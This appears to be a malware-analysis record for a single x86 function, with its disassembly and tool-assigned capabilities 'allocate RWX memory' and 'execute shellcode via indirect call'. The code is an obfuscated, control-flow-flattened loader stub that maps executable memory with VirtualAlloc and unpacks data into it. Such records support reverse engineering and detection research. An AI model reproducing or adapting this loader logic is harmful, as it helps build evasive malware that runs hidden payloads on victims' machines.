Function at 0x418610
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x14c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
add eax, dword [ecx + 0x11]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
add eax, dword [ecx + 0x15]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x34], 0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 5]
mov ecx, esp
mov dword [ecx + 4], eax
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x38], 0x859b9d02
mov eax, dword [ebp - 0x38]
mov ecx, eax
sub ecx, 0x8e506845
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], ecx
jg 0x4186bf
jmp 0x4186a9
mov eax, dword [ebp - 0x3c]
sub eax, 0x859b9d02
mov dword [ebp - 0x44], eax
je 0x418c5a
jmp 0x418c55
mov eax, dword [ebp - 0x3c]
sub eax, 0x7ef3dd76
mov dword [ebp - 0x48], eax
jg 0x418c3c
jmp 0x4186d5
mov eax, dword [ebp - 0x3c]
sub eax, 0x91c28f7b
mov dword [ebp - 0x4c], eax
jg 0x418701
jmp 0x4186eb
mov eax, dword [ebp - 0x3c]
sub eax, 0x8e506846
mov dword [ebp - 0x50], eax
je 0x418e92
jmp 0x418c55
mov eax, dword [ebp - 0x3c]
sub eax, 0x96d67322
mov dword [ebp - 0x54], eax
jg 0x41872d
jmp 0x418717
mov eax, dword [ebp - 0x3c]
sub eax, 0x91c28f7c
mov dword [ebp - 0x58], eax
je 0x418d63
jmp 0x418c55
mov eax, dword [ebp - 0x3c]
sub eax, 0x7ae6fdcb
mov dword [ebp - 0x5c], eax
jg 0x418c23
jmp 0x418743
mov eax, dword [ebp - 0x3c]
sub eax, 0x791ac463
mov dword [ebp - 0x60], eax
jg 0x418c0a
jmp 0x418759
mov eax, dword [ebp - 0x3c]
sub eax, 0x72d7ab81
mov dword [ebp - 0x64], eax
jg 0x418bf1
jmp 0x41876f
mov eax, dword [ebp - 0x3c]
sub eax, 0x6907c92d
mov dword [ebp - 0x68], eax
jg 0x418bd8
jmp 0x418785
mov eax, dword [ebp - 0x3c]
sub eax, 0x54c29713
mov dword [ebp - 0x6c], eax
jg 0x418bbf
jmp 0x41879b
mov eax, dword [ebp - 0x3c]
sub eax, 0x97de98f0
mov dword [ebp - 0x70], eax
jg 0x4187c7
jmp 0x4187b1
mov eax, dword [ebp - 0x3c]
sub eax, 0x96d67323
mov dword [ebp - 0x74], eax
je 0x418d22
jmp 0x418c55
mov eax, dword [ebp - 0x3c]
sub eax, 0x9a3b109d
mov dword [ebp - 0x78], eax
jg 0x4187f3
jmp 0x4187dd
mov eax, dword [ebp - 0x3c]
sub eax, 0x97de98f1
mov dword [ebp - 0x7c], eax
je 0x418f21
jmp 0x418c55
mov eax, dword [ebp - 0x3c]
sub eax, 0xa91815a5
mov dword [ebp - 0x80], eax
jg 0x418822
jmp 0x418809
mov eax, dword [ebp - 0x3c]
sub eax, 0x9a3b109e
mov dword [ebp - 0x84], eax
je 0x418f80
jmp 0x418c55
mov eax, dword [ebp - 0x3c]
sub eax, 0xb083fe61
mov dword [ebp - 0x88], eax
jg 0x418854
jmp 0x41883b
mov eax, dword [ebp - 0x3c]
sub eax, 0xa91815a6
mov dword [ebp - 0x8c], eax
je 0x418c98
jmp 0x418c55
mov eax, dword [ebp - 0x3c]
sub eax, 0xbf8dea2c
mov dword [ebp - 0x90], eax
jg 0x418886
jmp 0x41886d
mov eax, dword [ebp - 0x3c]
sub eax, 0xb083fe62
mov dword [ebp - 0x94], eax
je 0x418f6c
jmp 0x418c55
mov eax, dword [ebp - 0x3c]
sub eax, 0xc82ffba7
mov dword [ebp - 0x98], eax
jg 0x4188b8
jmp 0x41889f
mov eax, dword [ebp - 0x3c]
sub eax, 0xbf8dea2d
mov dword [ebp - 0x9c], eax
je 0x418e9e
jmp 0x418c55
mov eax, dword [ebp - 0x3c]
sub eax, 0xcf012b6a
mov dword [ebp - 0xa0], eax
jg 0x4188ea
jmp 0x4188d1
mov eax, dword [ebp - 0x3c]
sub eax, 0xc82ffba8
mov dword [ebp - 0xa4], eax
je 0x418e3f
jmp 0x418c55
mov eax, dword [ebp - 0x3c]
sub eax, 0xd9517ed1
mov dword [ebp - 0xa8], eax
jg 0x41891c
jmp 0x418903
mov eax, dword [ebp - 0x3c]
sub eax, 0xcf012b6b
mov dword [ebp - 0xac], eax
je 0x418c8b
jmp 0x418c55
mov eax, dword [ebp - 0x3c]
sub eax, 0xe6a8c28f
mov dword [ebp - 0xb0], eax
jg 0x41894e
jmp 0x418935
mov eax, dword [ebp - 0x3c]
sub eax, 0xd9517ed2
mov dword [ebp - 0xb4], eax
je 0x418f5f
jmp 0x418c55
mov eax, dword [ebp - 0x3c]
sub eax, 0xf0e79a40
mov dword [ebp - 0xb8], eax
jg 0x418980
jmp 0x418967
mov eax, dword [ebp - 0x3c]
sub eax, 0xe6a8c290
mov dword [ebp - 0xbc], eax
je 0x418cac
jmp 0x418c55
mov eax, dword [ebp - 0x3c]
sub eax, 0xf39bbb7c
mov dword [ebp - 0xc0], eax
jg 0x4189b2
jmp 0x418999
mov eax, dword [ebp - 0x3c]
sub eax, 0xf0e79a41
mov dword [ebp - 0xc4], eax
je 0x419013
jmp 0x418c55
mov eax, dword [ebp - 0x3c]
sub eax, 0xff898d54
mov dword [ebp - 0xc8], eax
jg 0x4189e4
jmp 0x4189cb
mov eax, dword [ebp - 0x3c]
sub eax, 0xf39bbb7d
mov dword [ebp - 0xcc], eax
je 0x418ee6
jmp 0x418c55
mov eax, dword [ebp - 0x3c]
sub eax, 0x3eb9508
mov dword [ebp - 0xd0], eax
jg 0x418a16
jmp 0x4189fd
mov eax, dword [ebp - 0x3c]
sub eax, 0xff898d55
mov dword [ebp - 0xd4], eax
je 0x418fce
jmp 0x418c55
mov eax, dword [ebp - 0x3c]
sub eax, 0xd1a73f1
mov dword [ebp - 0xd8], eax
jg 0x418a48
jmp 0x418a2f
mov eax, dword [ebp - 0x3c]
sub eax, 0x3eb9509
mov dword [ebp - 0xdc], eax
je 0x418cd6
jmp 0x418c55
mov eax, dword [ebp - 0x3c]
sub eax, 0x13f4657a
mov dword [ebp - 0xe0], eax
jg 0x418a7a
jmp 0x418a61
mov eax, dword [ebp - 0x3c]
sub eax, 0xd1a73f2
mov dword [ebp - 0xe4], eax
je 0x418f9a
jmp 0x418c55
mov eax, dword [ebp - 0x3c]
sub eax, 0x1e72d44b
mov dword [ebp - 0xe8], eax
jg 0x418aac
jmp 0x418a93
mov eax, dword [ebp - 0x3c]
sub eax, 0x13f4657b
mov dword [ebp - 0xec], eax
je 0x418d2f
jmp 0x418c55
mov eax, dword [ebp - 0x3c]
sub eax, 0x35778c11
mov dword [ebp - 0xf0], eax
jg 0x418ade
jmp 0x418ac5
mov eax, dword [ebp - 0x3c]
sub eax, 0x1e72d44c
mov dword [ebp - 0xf4], eax
je 0x418cb8
jmp 0x418c55
mov eax, dword [ebp - 0x3c]
sub eax, 0x37115dfb
mov dword [ebp - 0xf8], eax
jg 0x418b10
jmp 0x418af7
mov eax, dword [ebp - 0x3c]
sub eax, 0x35778c12
mov dword [ebp - 0xfc], eax
je 0x418e4c
jmp 0x418c55
mov eax, dword [ebp - 0x3c]
sub eax, 0x43a0ba32
mov dword [ebp - 0x100], eax
jg 0x418b42
jmp 0x418b29
mov eax, dword [ebp - 0x3c]
sub eax, 0x37115dfc
mov dword [ebp - 0x104], eax
je 0x418f53
jmp 0x418c55
mov eax, dword [ebp - 0x3c]
sub eax, 0x4bad06c3
mov dword [ebp - 0x108], eax
jg 0x418b74
jmp 0x418b5b
mov eax, dword [ebp - 0x3c]
sub eax, 0x43a0ba33
mov dword [ebp - 0x10c], eax
je 0x418eda
jmp 0x418c55
mov eax, dword [ebp - 0x3c]
sub eax, 0x4bad06c4
mov dword [ebp - 0x110], eax
je 0x418fad
jmp 0x418b8d
mov eax, dword [ebp - 0x3c]
sub eax, 0x4eb4f9b7
mov dword [ebp - 0x114], eax
je 0x418d57
jmp 0x418ba6
mov eax, dword [ebp - 0x3c]
sub eax, 0x4eb71235
mov dword [ebp - 0x118], eax
je 0x418c78
jmp 0x418c55
mov eax, dword [ebp - 0x3c]
sub eax, 0x54c29714
mov dword [ebp - 0x11c], eax
je 0x418dc6
jmp 0x418c55
mov eax, dword [ebp - 0x3c]
sub eax, 0x6907c92e
mov dword [ebp - 0x120], eax
je 0x419044
jmp 0x418c55
mov eax, dword [ebp - 0x3c]
sub eax, 0x72d7ab82
mov dword [ebp - 0x124], eax
je 0x418dea
jmp 0x418c55
mov eax, dword [ebp - 0x3c]
sub eax, 0x791ac464
mov dword [ebp - 0x128], eax
je 0x418ef8
jmp 0x418c55
mov eax, dword [ebp - 0x3c]
sub eax, 0x7ae6fdcc
mov dword [ebp - 0x12c], eax
je 0x418f14
jmp 0x418c55
mov eax, dword [ebp - 0x3c]
sub eax, 0x7ef3dd77
mov dword [ebp - 0x130], eax
je 0x418f8c
jmp 0x418c55
jmp 0x419052
mov eax, 0x4eb71235
mov ecx, 0xcf012b6b
mov edx, dword [ebp - 0x10]
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x38], eax
jmp 0x419052
mov eax, dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownW]
mov esi, dword [eax]
mov dword [ebp - 0x38], 0x791ac464
jmp 0x419052
mov eax, 0xa91815a6
mov dword [ebp - 0x38], eax
jmp 0x419052
mov eax, 0xe6a8c290
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x38], eax
jmp 0x419052
mov dword [ebp - 0x38], 0x1e72d44c
jmp 0x419052
mov eax, 0x91c28f7c
mov ecx, 0x3eb9509
mov edx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x20]
cmp edx, dword [esi + 0xd]
cmovb eax, ecx
mov dword [ebp - 0x38], eax
jmp 0x419052
mov eax, dword [ebp - 0x24]
mov eax, dword [eax + 5]
mov ecx, dword [ebp - 0x24]
add ecx, 0xd
mov edx, dword [ebp - 0x2c]
mov esi, dword [ebp - 0x24]
add edx, dword [esi + 1]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.004072d0
mov ecx, dword [ebp - 0x24]
add ecx, 0xd
mov edx, dword [ebp - 0x24]
add ecx, dword [edx + 5]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x38], 0x96d67323
mov dword [ebp - 0x134], eax
jmp 0x419052
mov eax, 0x13f4657b
mov dword [ebp - 0x38], eax
jmp 0x419052
mov eax, 0x4eb4f9b7
mov ecx, 0
mov edx, dword [ebp - 0x30]
mov esi, ecx
sub esi, edx
mov edx, ecx
sub edx, 1
add esi, edx
sub ecx, esi
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x38], eax
jmp 0x419052
mov dword [ebp - 0x38], 0x1e72d44c
jmp 0x419052
mov eax, 0x20
mov ecx, dword [ebp - 0x28]
add ecx, 1
mov edx, dword [ebp - 0x18]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x20
mov dword [ebp - 0x138], eax
call fcn.004072d0
mov ecx, 0x72d7ab82
mov edx, 0x54c29714
mov esi, 0xffffffff
mov edi, dword [ebp - 0x28]
movzx edi, byte [edi]
xor esi, 1
mov ebx, edi
xor ebx, esi
and ebx, edi
cmp ebx, 0
cmovne ecx, edx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x13c], eax
jmp 0x419052
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
add eax, dword [ecx + 1]
mov ecx, dword [ebp - 0x2c]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00416a30
mov dword [ebp - 0x38], 0x72d7ab82
jmp 0x419052
call fcn.00419e20
mov ecx, 0xbf8dea2d
mov edx, 0xc82ffba8
mov esi, 0xffffffff
mov edi, dword [ebp - 0x28]
movzx edi, byte [edi]
xor edi, 0xffffffff
mov ebx, esi
xor ebx, 3
xor esi, 0x90e8a08c
or edi, ebx
or esi, 0x90e8a08c
xor edi, 0xffffffff
and edi, esi
cmp edi, 0
cmovne ecx, edx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x140], eax
jmp 0x419052
mov eax, 0x35778c12
mov dword [ebp - 0x38], eax
jmp 0x419052
mov eax, 0
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x20]
mov edx, dword [edx + 1]
sub eax, edx
add eax, 0
add ecx, eax
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
add eax, dword [ecx + 0x19]
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x2c]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00417240
mov eax, 0x8e506846
mov dword [ebp - 0x38], eax
jmp 0x419052
mov dword [ebp - 0x38], 0xbf8dea2d
jmp 0x419052
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
add eax, dword [ecx + 0x11]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx + 0xd]
mov edx, dword [ebp - 0x2c]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00417b90
mov ecx, 0xf39bbb7d
mov edx, 0x43a0ba33
cmp eax, 0
cmovl ecx, edx
mov dword [ebp - 0x38], ecx
jmp 0x419052
mov dword [ebp - 0x38], 0x791ac464
jmp 0x419052
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x38], 0x7ef3dd77
jmp 0x419052
mov eax, 0xd9517ed2
mov ecx, 0x7ae6fdcc
cmp dword [ebp - 0x2c], 0
cmovne eax, ecx
mov dword [ebp - 0x38], eax
jmp 0x419052
mov eax, 0x97de98f1
mov dword [ebp - 0x38], eax
jmp 0x419052
mov eax, dword [ebp - 0x2c]
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 8], 0x8000
mov dword [ecx + 4], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFree]
call eax
sub esp, 0xc
mov ecx, 0x37115dfc
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x144], eax
jmp 0x419052
mov dword [ebp - 0x38], 0xd9517ed2
jmp 0x419052
mov eax, 0xb083fe62
mov dword [ebp - 0x38], eax
jmp 0x419052
mov eax, 0x9a3b109e
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x38], eax
jmp 0x419052
mov dword [ebp - 0x38], 0x7ef3dd77
jmp 0x419052
mov eax, dword [ebp - 0x14]
add esp, 0x14c
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x38], 0xa91815a6
jmp 0x419052
mov eax, dword [ebp - 0x30]
sub eax, 0x417de6f8
add eax, 1
add eax, 0x417de6f8
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x38], 0x13f4657b
jmp 0x419052
mov eax, 0
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x20]
mov edx, dword [edx + 1]
sub eax, edx
add eax, 0
add ecx, eax
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
add eax, dword [ecx + 0x19]
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x2c]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00417240
mov dword [ebp - 0x38], 0x35778c12
jmp 0x419052
mov eax, dword [ebp - 0x2c]
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 8], 0x8000
mov dword [ecx + 4], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFree]
call eax
sub esp, 0xc
mov dword [ebp - 0x38], 0x97de98f1
mov dword [ebp - 0x148], eax
jmp 0x419052
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x38], 0xb083fe62
jmp 0x41868d